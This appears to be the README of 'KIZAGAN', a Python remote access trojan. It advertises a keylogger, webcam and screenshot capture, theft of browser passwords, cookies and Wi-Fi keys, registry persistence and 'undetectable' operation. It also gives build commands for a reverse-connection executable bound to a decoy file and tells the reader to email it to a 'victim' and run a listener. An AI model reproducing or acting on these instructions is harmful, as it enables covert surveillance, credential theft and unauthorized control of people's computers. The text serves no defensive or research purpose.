KIZAGAN is a RAT built with python.It can take camera snapshots, screenshots, browser datas and cookies etc. Also it has a keylogger and it is undetectable.
-
Basic file/directory commands.(rename, delete, create etc.)
-
Can execute windows command prompt commands directly.
-
Can get camera snapshots.
-
Can get screenshots.
-
Can download files.
-
Can upload files.
-
Has keylogger.
-
Have persistence.(Persistence:It can hide itself to registry.)
-
Can take wifi names and passwords.
-
Can combine with a file you specify.
-
Constant connections.
-
Undetectable.
-
Can get browser saved usernames and passwords.
-
Can get browser cookies.
Firstly, you must need a windows computer.Because we don't want to encounter any errors while converting Python to exe.For server you can use linux or windows it doesn't matter.But we must need windows to conversion process.So execute the following command :
- python setup.py
-
If you want to put icon to your trojan, go to internet and find a icon.Then download to kizagan-main directory.(or you can convert png, jpg file to .ico file)
-
If you want to combine a file with trojan, go to internet and find a file you wanted.Then download to kizagan-main directory.
- Execute the builder.py to convert python file to windows executable file.
-
-ip = Set the ip address for reverse connection.
-
-p = Set the port number for reverse connection.
-
-i = Set the icon for trojan if you wanted.
-
-f = Set the combine file for trojan if you wanted.
- Wait for conversion process.
-
When its done, you can see the executable file in the 'dist' folder.And from now it's up to you.So send this file to victim(via mail etc.) and wait for opens the file.
-
Let's say victim opened the trojan.When trojan opened, our combine file will open up.And our trojan is executed background.
- You can listen the incoming connections with following command :
- python server.py -ip <ip_address_to_listen> -p <port_number_to_listen>
- When the connection comes, you can start executing commands on target computer.
- And we are rocking now! You can see the commands with 'help' command.
- And don't forget to remove theese parts in client.py: